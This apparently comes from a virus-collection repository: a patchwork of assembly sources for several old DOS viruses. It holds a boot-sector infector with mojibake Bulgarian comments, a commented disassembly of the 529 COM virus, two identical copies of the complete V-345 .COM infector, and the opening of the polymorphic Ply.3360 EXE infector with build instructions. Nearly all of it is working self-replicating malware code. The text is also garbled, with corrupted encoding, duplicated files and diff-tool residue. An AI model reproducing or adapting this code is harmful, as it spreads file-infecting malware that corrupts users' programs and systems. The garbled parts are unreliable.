NewINT13:
PUSH DS ;‡ ¯ §¢  °¥£¨±²°¨²¥
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ;Ž¯° ¢¿ ±¢®¿ DS ¨ ES
POP DS
PUSH CS
POP ES
TEST Byte Ptr D7DF7,01h ;€ª® ¥ 1 - ¢º§¯°®¨§¢¥¦¤ ­¥ ­  ¢¨°³± ,
JNE L7D23 ; ®²¨¢  ¤  ¯¨¸¥ ±º± ±² ­¤ °². INT 13
CMP AH,02h ;—¥²¥­¥ ­  ±¥ª²®°?
JNE L7D23 ;<3B>¥, ¯°®¤º«¦ ¢  ±º± ±² ­¤ °²­¨¿² INT 13
CMP Byte Ptr D7DF8,DL ;“±²°®©±²¢®²® ±º¢¯ ¤  ± ¯®±«¥¤­®²®
MOV Byte Ptr D7DF8,DL ; ± ª®¥²® ¥ ° ¡®²¥­®
JNE L7D12 ;<3B>¥
XOR AH,AH ;‚§¥¬  ¢°¥¬¥²®
INT 1Ah
TEST DH,7Fh ;¡¨² 8000 ­  low order part = 1?
JNE L7D03 ;¤ , ¯°¥±ª · 
TEST DL,0F0h ;¡¨²®¢¥ 00F0 ­  low order part = 1?
JNE L7D03 ;¤ , ¯°¥±ª · 
;<3B>°®¿¢ : ª®£ ²® TIMER .and. 80F0h == 0
;<3B>°¨¡«¨§¨²¥«­® ­  1800 ±¥ª. = 30 ¬¨­.
PUSH DX
call L7EB3 ;<3B>°®¿¢  ­  ¢¨°³±  - ±ª ·  ¯® ¥ª° ­ 
POP DX
L7D03: MOV CX,DX ;Ž¯°¥¤¥«¿ ²°¿¡¢  «¨ ¤  § ° §¿¢ 
SUB DX,Word Ptr D7EB0 ; (¯®¤µ®¤¿¹ ¬®¬¥­² ¢°¥¬¥)
MOV Word Ptr D7EB0,CX
SUB DX,+24h
JC L7D23
L7D12: OR Byte Ptr D7DF7,01h ;‘² °²¨°  ¢º§¯°®¨§¢¥¦¤ ­¥/§ ° §¿¢ ­¥
PUSH SI
PUSH DI
CALL L7D2E
POP DI
POP SI
AND Byte Ptr D7DF7,0FEh
L7D23: POP DX ;‚º§±² ­®¢¿¢  ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
POP CX
POP BX
POP AX
POP ES
POP DS
D7D2A = $+1
D7D2C = $+3
jmp c800_SEG ;‘² °²¨°  ¨±²¨­±ª¨¿² INT 13
;================================================================;
; š‡<C5A1><E280A1>Žˆ…†„€<E2809E><20>ˆ<E2809A>ˆ ‡€<E280A1>€‡Ÿ<E2809A><20><20><>Žƒ<C5BD>€Œ€ ;
;================================================================;
L7D2E: MOV AX,0201h ;—¥²¥ BOOT sector ®² ¤¨±ª 
MOV DH,00h ; BX = ?????????????????????? ªº¤¥, ¡¥!
MOV CX,0001h
CALL L7CC3
TEST Byte Ptr D7DF8,80h ;HARD DISK?
JE L7D63 ;­¥
;---- HARD DISK ----;
MOV SI,81BEh ;’º°±¨ DOS partition
MOV CX,0004h
L7D46: CMP Byte Ptr [SI+04h],01h
JE L7D58
CMP Byte Ptr [SI+04h],04h
JE L7D58
ADD SI,+10h
LOOP L7D46
RET ;­¿¬  DOS partition, ­¥ § ° §¿¢ 
;---- <20> ¬¥°¥­ ¥ DOS partition ----;
L7D58: MOV DX,Word Ptr [SI]
MOV CX,Word Ptr [SI+02h]
MOV AX,0201h
CALL L7CC3 ;—¥²¥ BOOT sector ®² DOS partition
;---- ’³ª ¨¤¢   ª® ¥ ¤¨±ª¥² , ¯°®·¥²¥­ ¥ BOOT sector ----;
L7D63: MOV SI,8002h
MOV DI,offset D7C02
MOV CX,001Ch
REPZ MOVSB ;¬¥±²¨ BPB ² ¡«¨¶ ²  ®² BOOT sector
CMP Word Ptr D8000+01FCh,1357h ;‡ ° §¥­ «¨ ¥ ¤¨±ª ?
JNE L7D8B ;­¥
CMP Byte Ptr D8000+01FBh,00h ;Šº¤¥ «¨ ±®·¨ DS?
JNC L7D8A
;---- „¨±ª  ¥ § ° §¥­ ----; ;---- ’³ª ¬ © ­¿¬  ¤  ¤®©¤¥ ­¨ª®£ ? ----;
MOV AX,Word Ptr D8000+01F5h ;<3B>®¦  ° ¡®² ...
MOV Word Ptr D7DF5,AX
MOV SI,Word Ptr D8000+01F9h
jmp L7E92
L7D8A: RET
;-------------------
; „ˆ‘Š€ <20>… … ‡€<E280A1>€‡…<E280A1>, <20>Ž—€ ‡€<E280A1>€‡Ÿ<E2809A>Ž
;
L7D8B: CMP Word Ptr D8000+000Bh,0200h ;’®¢  ­¥ ¥ ¨­²¥°¥±­®
JNE L7D8A
CMP Byte Ptr D8000+000Dh,02h
JC L7D8A
MOV CX,Word Ptr D8000+000Eh
MOV AL,Byte Ptr D8000+0010h
CBW
MUL Word Ptr D8000+0016h
ADD CX,AX
MOV AX,0020h
MUL Word Ptr D8000+0011h
ADD AX,01FFh
MOV BX,0200h
DIV BX
ADD CX,AX
MOV Word Ptr D7DF5,CX
MOV AX,Word Ptr D7C13
SUB AX,Word Ptr D7DF5
MOV BL,Byte Ptr D7C0D
XOR DX,DX
XOR BH,BH
DIV BX
INC AX
MOV DI,AX
AND Byte Ptr D7DF7,0FBh
CMP AX,0FF0h
JBE L7DE0
OR Byte Ptr D7DF7,04h
L7DE0: MOV SI,0001h
MOV BX,Word Ptr D7C0E
DEC BX
MOV Word Ptr D7DF3,BX
MOV Byte Ptr D7EB2,0FEh
JMP short L7E00
D7DF3 DW 1
D7DF5 DW 000Ch
D7DF7 DB 1 ;±² ²³±-¡ ©²:
; 0000 0001 - ±² °²¨° ­® ¥ ¢º§¯°®¨§¢¥¦¤ ­¥
; 0000 0010 - § ª ·¥­ ¥ ­  INT 08
; 0000 0100
D7DF8 DB 00 ;³±²°®©±²¢®: 0 - A:, 1 - B:, ...
D7DF9 DW 274h ;«®£¨·¥±ª¨ ±¥ª²®°, ªº¤¥²® ¥ § ¯¨± ­® ¯°®¤º«¦¥­¨¥²®
DB 00
DW 1357h ;ˆ<>ˆŠ€Ž<E28099> ‡€ ‡€<E280A1>€‡…<E280A1> „ˆ‘Š!!!!!!!!
DW 0AA55h ;­®°¬ «¥­ BOOT ±¥ª²®°
;***********************************************************;
; Ž<E28099>ˆ …ŠŽ<E28099> - <20><>Ž„š†…<E280A0>ˆ<20>ˆ<E2809A>€ ;
; <20>€Œˆ<C592>€ ‘… <20>€ bad sector <20>š<C5A1> „ˆ‘Š€ ;
;***********************************************************;
L7E00: INC Word Ptr D7DF3
MOV BX,Word Ptr D7DF3
ADD Byte Ptr D7EB2,02h
call L7C9D
JMP short L7E4B
L7E12: MOV AX,0003h
TEST Byte Ptr D7DF7,04h
JE L7E1D
INC AX
L7E1D: MUL SI
SHR AX,1
SUB AH,Byte Ptr D7EB2
MOV BX,AX
CMP BX,01FFh
JNC L7E00
MOV DX,Word Ptr D8000[BX]
TEST Byte Ptr D7DF7,04h
JNE L7E45
MOV CL,04h
TEST SI,0001h
JE L7E42
SHR DX,CL
L7E42: AND DH,0Fh
L7E45: TEST DX,0FFFFh
JE L7E51
L7E4B: INC SI
CMP SI,DI
JBE L7E12
RET
L7E51: MOV DX,0FFF7h
TEST Byte Ptr D7DF7,04h
JNE L7E68
AND DH,0Fh
MOV CL,04h
TEST SI,0001h
JE L7E68
SHL DX,CL
L7E68: OR Word Ptr D8000[BX],DX
MOV BX,Word Ptr D7DF3
call L7C98
MOV AX,SI
SUB AX,0002h
MOV BL,Byte Ptr D7C0D
XOR BH,BH
MUL BX
ADD AX,Word Ptr D7DF5
MOV SI,AX
MOV BX,0000h
call L7C9D
MOV BX,SI
INC BX
call L7C98
L7E92: MOV BX,SI
MOV Word Ptr D7DF9,SI
PUSH CS
POP AX
SUB AX,0020h
MOV ES,AX
call L7C98
PUSH CS
POP AX
SUB AX,0040h
MOV ES,AX
MOV BX,0000h
call L7C98
RET
D7EB0 DW 0EEF0h
D7EB2 DB 0
;=======================================================;
; ‡€Š€—<E2809A>… ‡€ int 08, €ŠŽ <20>… … ‡€Š€—…<E28094>€ ;
;=======================================================;
L7EB3: TEST Byte Ptr D7DF7,02h
JNE L7EDE
OR Byte Ptr D7DF7,02h
assume ds:BIOS_SEG
MOV AX,0000h ;‡ ª ·¢  ±¥ ­  INT 8
MOV DS,AX
MOV AX,Word Ptr D0020
MOV BX,Word Ptr D0022
MOV Word Ptr D0020,offset NewINT08
MOV Word Ptr D0022,CS
assume ds:SEG0000
PUSH CS
POP DS
MOV Word Ptr D7FC9,AX ;‡ ¯ §¢  ±² °¨¿² INT 8
MOV Word Ptr D7FCB,BX
L7EDE: RET
;=====================================================================;
; ’€‡ˆ <20><>Žƒ<C5BD>€Œ€ ‘… <>š‡<20>€ ŒŸ‘’Ž’Ž <20>ˆˆ<E28099>ŠˆŸ int 08 ;
;=====================================================================;
NewINT08:
PUSH DS ;‡ ¯ §¢  ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ;Ž¯° ¢¿ ±®¡±²¢¥­¨¿² DS
POP DS
MOV AH,0Fh ;Get current video mode
INT 10h
MOV BL,AL
CMP BX,Word Ptr D7FD4 ;mode = ±² °¨¿² mode
JE L7F27 ;¤ , ¯°®¤º«¦ ¢ 
;---- <20>¥¦¨¬º² ­  ¤¨±¯«¥© ¥ ¯°®¬¥­¥­. “±² ­®¢¿¢¿ ­®¢¨¿² °¥¦¨¬ ----;
MOV Word Ptr D7FD4,BX ;§ ¯¨±¢  ±²° ­¨¶ ²  ¨ mode
DEC AH
MOV Byte Ptr D7FD6,AH ;§ ¯ §¢  char_per_line-1
MOV AH,01h
CMP BL,07h ;mode = text b/w MGA, EGA?
JNE L7F05 ;­¥
DEC AH
L7F05: CMP BL,04h ;mode = graphics?
JNC L7F0C ;¤ 
DEC AH
L7F0C: MOV Byte Ptr D7FD3,AH
MOV Word Ptr D7FCF,0101h
MOV Word Ptr D7FD1,0101h
MOV AH,03h ;Read cursor position and size
INT 10h
PUSH DX ;‡ ¯ §¢  ¯®§¨¶¨¿²  ­  ª³°±®° 
MOV DX,Word Ptr D7FCF
JMP short L7F4A
;---- <20>¥¦¨¬º² ­  ¤¨±¯«¥¿ (mode) ­¥ ¥ ¯°®¬¥­¿­ ----;
L7F27: MOV AH,03h ;Read cursor position and size
INT 10h
PUSH DX ;‡ ¯ §¢  cursor pos & size
MOV AH,02h ;Set cursor position
MOV DX,Word Ptr D7FCF
INT 10h
MOV AX,Word Ptr D7FCD ;Ž¯°¥¤¥«¿ ª ª¢® ¤  ¯¨¸¥ ¯® ¥ª° ­ 
CMP Byte Ptr D7FD3,01h ;mode = GRAPF?
JNE L7F41 ;­¥
MOV AX,8307h
L7F41: MOV BL,AH ;Write character & attribute
MOV CX,0001h
MOV AH,09h
INT 10h
;---- Š®°¨£¨°  ¯®§¨¶¨¿²  ­  ª³°±®°  ----;
L7F4A: MOV CX,Word Ptr D7FD1
CMP DH,00h ;Up
JNE L7F58
XOR CH,0FFh
INC CH
L7F58: CMP DH,18h ;Down
JNE L7F62
XOR CH,0FFh
INC CH
L7F62: CMP DL,00h ;Left
JNE L7F6C
XOR CL,0FFh
INC CL
L7F6C: CMP DL,Byte Ptr D7FD6 ;Right
JNE L7F77
XOR CL,0FFh
INC CL
L7F77: CMP CX,Word Ptr D7FD1
JNE L7F94
MOV AX,Word Ptr D7FCD
AND AL,07h
CMP AL,03h
JNE L7F8B
XOR CH,0FFh
INC CH
L7F8B: CMP AL,05h
JNE L7F94
XOR CL,0FFh
INC CL
L7F94: ADD DL,CL
ADD DH,CH
MOV Word Ptr D7FD1,CX
MOV Word Ptr D7FCF,DX
MOV AH,02h
INT 10h ;Set cursor position
MOV AH,08h ;Read character & attribute
INT 10h
MOV Word Ptr D7FCD,AX
MOV BL,AH
CMP Byte Ptr D7FD3,01h ;mode = GRAPH?
JNE L7FB6 ;­¥
MOV BL,83h
L7FB6: MOV CX,0001h ;Write character & attribute
MOV AX,0907h
INT 10h
POP DX ;Restore cursor position
MOV AH,02h
INT 10h
POP DX ;‚º§±² ­®¢¿¢  ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
POP CX
POP BX
POP AX
POP DS
D7FC9 = $+1
D7FCB = $+3
JMP INTERR8 ;Ž²¨¢  ­  ¨±²¨­±ª¨¿² INT 08
D7FCD DW 0
D7FCF DW 0101h ;<3B> ¡®²­  ¯®§¨¶¨¿ ­  ¥ª° ­  ­  ¢¨°³± 
D7FD1 DW 0101h
D7FD3 DB 0 ; 1 - mode = graph, b800
; 0 - mode = text, b800
;-1 - mode = 7, text b/w EGA,HGA
D7FD4 DW 0FFFFh ;± ¬¨¿² mode
D7FD6 DB 50h ;¡°®© ±¨¬¢®«¨ ­  °¥¤
DB 0B7h,0B7h,0B7h,0B6h,040h,040h,088h,0DEh
DB 0E6h,05Ah,0ACh,0D2h,0E4h,0EAh,0E6h,040h
DB 050h,0ECh,040h,064h,05Ch,060h,052h,040h
DB 040h,040h,040h,064h,062h,05Eh,062h,060h
DB 05Eh,070h,06Eh,040h,041h,0B7h,0B7h,0B7h
DB 0B6h
;*************************************************************
; <20><EFBFBD>Ž<C5BD>€ Ž<> <20>ˆ<E2809A>
D8000 = $
SEG0000 ends
END

File diff suppressed because it is too large Load Diff

@ -0,0 +1,347 @@
; virus 529 extracted from full memory dump published by N.N.Bezrukov
; in Virus Guide (Computer Virology) edition 3.5. First information about this
; virus has been released by D.N.Lozinsky (Leningrad USSR) before june 1990.
;
; Dissasembly: A.Kadlof 1990-08-31
;
; Virus code is placed at the begining of the file
0100 B815CA MOV AX,CA15 ; is resident part alredy instaled?
0103 8B361B01 MOV SI,[011B] ; offset of oryginal first 529 bytes
0107 BF0001 MOV DI,0100 ; begining of the file
010A 8B0E1D01 MOV CX,[011D] ; 0211h = 529 virus length
010E 8B1E1901 MOV BX,[0119] ; 0101h or less means: do not disable
0112 CD21 INT 21 ; resident part of the virus
; if resident part of the virus is instaled then INT 21 with AX = CA15
; will start infected program, atherwise we will come here
0114 FF361F01 PUSH [011F] ; jump to CS:0147
0118 C3 RET
;------------------
; virus date area
0119 01 01 ; flag - disable virus request
011B D0 07 ; adress of oryginal 529 byte of the file, oryginal file length
; plus 100h (size of memory image of file + PSP)
011D 11 02 ; virus length
011F 47 01 ; offset of virus code after working area
0121 79 00 ; ??
0123 C0 01
0125 04 00
0127 C4 01 ; offset of new INT 21h handler
0129 4D 00
012B 11 02 EA 00 FB ; ??
0130 02 01 00 FC 02 01 00 ; ??
; EXEC Parameter Block
0137 00 00 ; segment of child enviroment
0139 80 00 0E 25 ; adress of command line
013D 5C 00 0E 25 ; adress of first FCB
013F 6C 00 0E 25 ; adress of second FCB
0145 CA 01 ; offset of virus int 21h handler
;---------------------------------------------------------------
; continue instalation of virus if resident part is not present
0147 A11D01 MOV AX,[011D] ; 0211h virus length
014A 051401 ADD AX,0114 ; AX := 325h length of buffer and
; working area
014D 90 NOP
014E A30503 MOV [0305],AX ; I/O buffer
0151 03061D01 ADD AX,[011D]
0155 050001 ADD AX,0100
0158 A30D03 MOV [030D],AX
015B 8BE0 MOV SP,AX
015D 050F00 ADD AX,000F
0160 B104 MOV CL,04
0162 D3E8 SHR AX,CL
0164 A30F03 MOV [030F],AX ; memory (in paragraphs) requested by
0167 06 PUSH ES ; virus (64 paragraphs)
; capture INT 21h
0168 B82135 MOV AX,3521 ; get INT 21h
016B CD21 INT 21
; store it
016D 8C06FF02 MOV [02FF],ES
0171 891EFD02 MOV [02FD],BX
0175 07 POP ES ; restore from the stack
0176 8B162701 MOV DX,[0127] ; offset of new INT 21h
017A B82125 MOV AX,2521 ; set INT 21h
017D CD21 INT 21
017F 8B1E0F03 MOV BX,[030F] ; size of requested memory
0183 B44A MOV AH,4A ; modify allocated memory block
0185 CD21 INT 21
0187 8CC0 MOV AX,ES
0189 A33B01 MOV [013B],AX ; prepare EXEC Parameter Block
018C A33F01 MOV [013F],AX
018F A34301 MOV [0143],AX
0192 8E1E2C00 MOV DS,[002C] ; enviroment block
0196 33F6 XOR SI,SI ; point at the begining of block
0198 AC LODSB
0199 0A04 OR AL,[SI] ; look for 0, 0 marker
019B 75FB JNZ 0198
019D 83C603 ADD SI,+03 ; point at full pathname
01A0 8BD6 MOV DX,SI ; offset of name of virus carrier
01A2 BB3701 MOV BX,0137 ; adres of EXEC parameter block
01A5 B8004B MOV AX,4B00 ; Load & Execute
01A8 CD21 INT 21
01AA 8CC8 MOV AX,CS
01AC 8ED0 MOV SS,AX ; restore stack pointers
01AE 2E CS:
01AF 8B260D03 MOV SP,[030D]
01B3 B44D MOV AH,4D ; get return code of subprogram
01B5 CD21 INT 21
01B7 2E CS:
01B8 8B160F03 MOV DX,[030F] ; needed number of paragraphs
01BC B431 MOV AH,31 ; terminate but stay resident
01BE CD21 INT 21
01C0 B44C MOV AH,4C ; terminate process
01C2 CD21 INT 21
;----------------------
; new INT 21h handler
01C4 2E CS:
01C5 FF364501 PUSH [0145] ; 01CA
01C9 C3 RET
01CA 3D15CA CMP AX,CA15 ; virus call?
01CD 7519 JNZ 01E8 ; no
01CF 2E CS:
01D0 3B1E1901 CMP BX,[0119] ; disable request?
01D4 7608 JBE 01DE ; no
; disable resident part of virus
01D6 2E CS:
01D7 C70645010C02 MOV WORD PTR [0145],020C
01DD CF IRET
; return to infected file, first copy oryginal 529 bytes from the end of the
; file to the begining (registers should be prepared by caller)
01DE F3 REPZ
01DF A4 MOVSB
01E0 58 POP AX
01E1 B80001 MOV AX,0100 ; new start adress
01E4 50 PUSH AX
01E5 33C0 XOR AX,AX
01E7 CF IRET
; is it Load & Execute request?
01E8 3D004B CMP AX,4B00 ; Load & Execute
01EB 751F JNZ 020C ; no, jump to oryginal INT 21h
; check the name of loaded file (is it COM or not)
01ED 06 PUSH ES
01EE 1E PUSH DS
01EF 07 POP ES
01F0 8BFA MOV DI,DX ; name of loaded file
01F2 B9FFFF MOV CX,FFFF ; length of searched block
01F5 F2 REPNZ
01F6 AE SCASB ; AL = 0;
01F7 26 ES:
01F8 8A45FE MOV AL,[DI-02] ; last letter of extension of name
01FB 0C20 OR AL,20 ; convert to lower letter
01FD 3C6D CMP AL,6D ; 'm' (is it COM?)
01FF 07 POP ES
0200 7505 JNZ 0207 ; no
0202 E80C00 CALL 0211 ; infect loaded file
0205 EB03 JMP 020A
0207 E8F100 CALL 02FB ; CS:02FB RET
020A 32C0 XOR AL,AL
020C 2E CS:
020D FF2EFD02 JMP FAR [02FD] ; oryginal INT 21h
;---------------------------
; Infection of the new file
0211 06 PUSH ES
0212 50 PUSH AX
0213 53 PUSH BX
0214 1E PUSH DS
0215 52 PUSH DX
0216 8BEC MOV BP,SP
0218 0E PUSH CS
0219 1F POP DS
021A B82435 MOV AX,3524 ; get INT 24h
021D CD21 INT 21
021F 8C060303 MOV [0303],ES
0223 891E0103 MOV [0301],BX
0227 BAF802 MOV DX,02F8 ; offset of virus INT 24h handler
022A B82425 MOV AX,2524 ; set interrupt vector 24h
022D CD21 INT 21
022F 1E PUSH DS
0230 8B5600 MOV DX,[BP+00] ; adress of loaded file name
0233 8E5E02 MOV DS,[BP+02]
0236 B80043 MOV AX,4300 ; get file attributes
0239 CD21 INT 21
023B 7250 JB 028D ; problems
023D 2E CS:
023E 890E0B03 MOV [030B],CX ; store current file attributes
0242 B80143 MOV AX,4301 ; set file attributes
0245 33C9 XOR CX,CX ; clear all attributes
0247 CD21 INT 21
0249 7242 JB 028D ; problems
024B B8023D MOV AX,3D02 ; open file for read\write
024E CD21 INT 21
0250 7274 JB 02C6 ; problems
0252 1F POP DS
0253 8BD8 MOV BX,AX
0255 B80057 MOV AX,5700 ; get file date
0258 CD21 INT 21
025A 726A JB 02C6 ; problems
025C 890E0703 MOV [0307],CX ; store time
0260 89160903 MOV [0309],DX ; store date
0264 8B160503 MOV DX,[0305] ; offset of buffer
0268 8B0E1D01 MOV CX,[011D] ; number of bytes to read (full virus)
026C B43F MOV AH,3F ; read from file
026E CD21 INT 21
0270 7254 JB 02C6 ; problems
0272 3BC1 CMP AX,CX ; check for I/O problems
0274 7550 JNZ 02C6 ; problems
; compare first 19h bytes (25) to check is file alredy infected
0276 0E PUSH CS
0277 07 POP ES
0278 BF0001 MOV DI,0100
027B 8BF2 MOV SI,DX
027D B91900 MOV CX,0019
0280 F3 REPZ
0281 A6 CMPSB
0282 7442 JZ 02C6 ; file infected
0284 B80242 MOV AX,4202 ; move file pointer
0287 33C9 XOR CX,CX ; to the end of file
0289 8BD1 MOV DX,CX ; CX:DX = 0
028B CD21 INT 21
028D 7237 JB 02C6 ; problems
028F 0BD2 OR DX,DX ; file over 64 Kb
0291 7533 JNZ 02C6 ; problems
0293 050001 ADD AX,0100
0296 A31B01 MOV [011B],AX
0299 3D00F0 CMP AX,F000
029C 7728 JA 02C6 ; file to big
029E 3DD007 CMP AX,07D0 ; file to small
02A1 7223 JB 02C6 ; problems
02A3 8B0E1D01 MOV CX,[011D] ; number of bytes
02A7 8B160503 MOV DX,[0305] ; offset of disk I/O buffer
02AB B440 MOV AH,40 ; write to file
02AD CD21 INT 21
02AF 7215 JB 02C6 ; problems
02B1 B80042 MOV AX,4200 ; move file pointer
02B4 33D2 XOR DX,DX ; to the beginning of file
02B6 8BCA MOV CX,DX ; CX:DX = 0
02B8 CD21 INT 21
02BA 720A JB 02C6 ; problems
02BC FEC6 INC DH
02BE 8B0E1D01 MOV CX,[011D] ; number of bytes
02C2 B440 MOV AH,40 ; write to file
02C4 CD21 INT 21
;----------------------------------
; exit if any troubles or when done
02C6 B80157 MOV AX,5701 ; set file time and date
02C9 8B0E0703 MOV CX,[0307] ; recall time
02CD 8B160903 MOV DX,[0309] ; recall data
02D1 CD21 INT 21
02D3 B43E MOV AH,3E ; Close file (BX = handle)
02D5 CD21 INT 21
02D7 B80143 MOV AX,4301 ; set file attributes
02DA 8B0E0B03 MOV CX,[030B] ; recall attributes
02DE 8E5E02 MOV DS,[BP+02] ; segment of file name (ASCIIZ)
02E1 8B5600 MOV DX,[BP+00] ; offset of file name (ASCIIZ)
02E4 CD21 INT 21
02E6 2E CS:
02E7 C5160103 LDS DX,[0301]
02EB B82425 MOV AX,2524 ; restore INT 24h
02EE CD21 INT 21
02F0 8BE5 MOV SP,BP
02F2 5A POP DX
02F3 1F POP DS
02F4 5B POP BX
02F5 58 POP AX
02F6 07 POP ES
02F7 C3 RET
;----------------------------------
; INT 24h handler during infection
02F8 B003 MOV AL,03
02FA CF IRET
02FB C3 RET
02FC C3 RET
;--------------
; date holder
02FD 5C 06 FD 18 ; old INT 21h holder
0301 56 05 9D 10 ; old INT 24h holder
0305 25 03 ; offset of disk I/O buffer
0307 36 00 ; file time
0309 21 00 ; file date
030B 20 00 ; file attributes
030D 36 06 ; SP holder
030F 64 00 ; segment-paragraph just beyond the end of resident part
0325 ; I/O bufer


@ -0,0 +1,134 @@
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ?
newdta db 2C dup (?)
fname equ offset newdta+1E
virus:
push ax
mov ax,cs ;Move program code
add ax,1000 ; 64K bytes forward
mov es,ax
inc [counter]
mov si,offset start
xor di,di
mov cx,virlen
rep movsb
mov dx,offset newdta ;Set new Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov dx,offset allcom ;Search for '*.COM' files
mov cx,110b ;Normal, Hidden or System
mov ah,4E ;Find First file
int 21
jc done ;Quit if none found
mainlp:
mov dx,fname
mov ax,3D02 ;Open file in Read/Write mode
int 21
mov bx,ax ; Save handle
push es
pop ds
mov dx,virlen
mov cx,0FFFF ;Read all bytes (64K max in .COM file)
mov ah,3F ;Read from handle
int 21 ;Bytes read in AX
add ax,virlen
mov cs:[eof],ax ;Save pointer to the end of file
cmp ds:[newid+virlen],'VI' ;Infected?
je close ;Go find next file if so
xor cx,cx ;Go to file beginning
mov dx,cx
mov ax,4200 ;LSEEK from the beginning of the file
int 21
jc close ;Leave this file if error occures
xor dx,dx ;Write the whole code (virus+file)
mov cx,cs:[eof] ; back onto the file
mov ah,40 ;Write to handle
int 21
close:
mov ah,3E ;Close the file
int 21
push cs
pop ds ;Restore DS
mov ah,4F ;Find next matching file
int 21
jc done ;Exit if all found
jmp mainlp ;Otherwise loop again
done:
mov dx,olddta ;Restore old Disk Transfer Address
mov ah,1A ;Set DTA
int 21
cmp [counter],5 ;If counter goes above 5,
jb progok ; the program becomes "sick"
mov ax,40
mov ds,ax ;Get the system timer value
mov ax,word ptr [timer]
push cs
pop ds ;Restore DS
and ax,1 ;At random (if timer value is odd)
jz progok ; display the funny message
mov dx,offset message
mov ah,9 ;Print string
int 21
int 20 ;Terminate program
message db 'Program sick error:Call doctor or '
db 'buy PIXEL for cure description',0A,0Dh,'$'
progok:
mov si,offset transf ;Move this part of code
mov cx,offset endcode - offset transf ;Code length
xor di,di ;Move to ES:0
rep movsb ;Do it
pop bx ; BX = old AX
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
jmp cs:[progbeg] ;Jump at program start
transf:
push ds
pop es
mov si,offset endcode
mov di,offset start
mov cx,0FFFF ;Restore original program's code
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
mov ax,bx
jmp dword ptr cs:[start] ;Jump to program start
endcode label byte
int 20 ;Dummy program
code ends
end start


@ -0,0 +1,134 @@
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
timer equ 6C
olddta equ 80
virlen = offset endcode - offset start
newid = offset ident - offset start
start:
jmp short virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ?
newdta db 2C dup (?)
fname equ offset newdta+1E
virus:
push ax
mov ax,cs ;Move program code
add ax,1000 ; 64K bytes forward
mov es,ax
inc [counter]
mov si,offset start
xor di,di
mov cx,virlen
rep movsb
mov dx,offset newdta ;Set new Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov dx,offset allcom ;Search for '*.COM' files
mov cx,110b ;Normal, Hidden or System
mov ah,4E ;Find First file
int 21
jc done ;Quit if none found
mainlp:
mov dx,fname
mov ax,3D02 ;Open file in Read/Write mode
int 21
mov bx,ax ; Save handle
push es
pop ds
mov dx,virlen
mov cx,0FFFF ;Read all bytes (64K max in .COM file)
mov ah,3F ;Read from handle
int 21 ;Bytes read in AX
add ax,virlen
mov cs:[eof],ax ;Save pointer to the end of file
cmp ds:[newid+virlen],'VI' ;Infected?
je close ;Go find next file if so
xor cx,cx ;Go to file beginning
mov dx,cx
mov ax,4200 ;LSEEK from the beginning of the file
int 21
jc close ;Leave this file if error occures
xor dx,dx ;Write the whole code (virus+file)
mov cx,cs:[eof] ; back onto the file
mov ah,40 ;Write to handle
int 21
close:
mov ah,3E ;Close the file
int 21
push cs
pop ds ;Restore DS
mov ah,4F ;Find next matching file
int 21
jc done ;Exit if all found
jmp mainlp ;Otherwise loop again
done:
mov dx,olddta ;Restore old Disk Transfer Address
mov ah,1A ;Set DTA
int 21
cmp [counter],5 ;If counter goes above 5,
jb progok ; the program becomes "sick"
mov ax,40
mov ds,ax ;Get the system timer value
mov ax,word ptr [timer]
push cs
pop ds ;Restore DS
and ax,1 ;At random (if timer value is odd)
jz progok ; display the funny message
mov dx,offset message
mov ah,9 ;Print string
int 21
int 20 ;Terminate program
message db 'Program sick error:Call doctor or '
db 'buy PIXEL for cure description',0A,0Dh,'$'
progok:
mov si,offset transf ;Move this part of code
mov cx,offset endcode - offset transf ;Code length
xor di,di ;Move to ES:0
rep movsb ;Do it
pop bx ; BX = old AX
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
jmp cs:[progbeg] ;Jump at program start
transf:
push ds
pop es
mov si,offset endcode
mov di,offset start
mov cx,0FFFF ;Restore original program's code
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
mov ax,bx
jmp dword ptr cs:[start] ;Jump to program start
endcode label byte
int 20 ;Dummy program
code ends
end start


File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

Binary file not shown.

File diff suppressed because it is too large Load Diff

@ -0,0 +1,836 @@
comment *
Ply.3360
Disassembly by
Darkman/VLAD
Ply.3360 is a 3360 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.3360 is polymorphic in file using its internal
polymorphic engine.
To compile Ply.3360 with Turbo Assembler v 4.0 type:
TASM /m PLY_3360.ASM
TLINK /t /x PLY_3360.OBJ
*
.model tiny
.code
org 100h ; Origin of Ply.3360
code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
mov ax,100h ; AX = offset of beginning of code
sub bp,ax ; Subtract offset of beginning of ...
nop
sti ; Set interrupt-enable flag
nop
nop
cld ; Clear direction flag
nop
nop
lea si,code_begin ; SI = offset of code_begin
add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
and al,00000111b ; AL = random number between zero ...
nop
push cx ; Save CX at stack
nop
nop
push si ; Save SI at stack
nop
nop
cmp al,00h ; Prepend a NOP to the opcode?
nop
jne test_append ; Not equal? Jump to test_append
nop
mov al,[si] ; AL = first byte of three-bytes b...
